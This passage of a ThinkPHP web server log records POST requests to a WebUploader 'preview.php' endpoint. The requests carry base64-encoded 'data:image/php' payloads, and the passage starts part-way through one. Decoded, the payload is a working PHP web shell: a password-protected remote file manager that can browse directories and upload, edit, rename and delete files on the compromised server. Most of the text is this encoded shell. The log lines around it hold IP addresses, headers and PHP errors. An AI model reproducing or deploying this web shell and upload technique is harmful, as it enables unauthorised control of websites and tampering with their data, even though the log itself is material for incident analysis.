zID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:16+08:00 ] 119.42.146.234 POST 59.110.137.245/static/common/user/webuploader/0.1.5/server/preview.php [运行时间:0.002896s] [吞吐率:345.30req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1C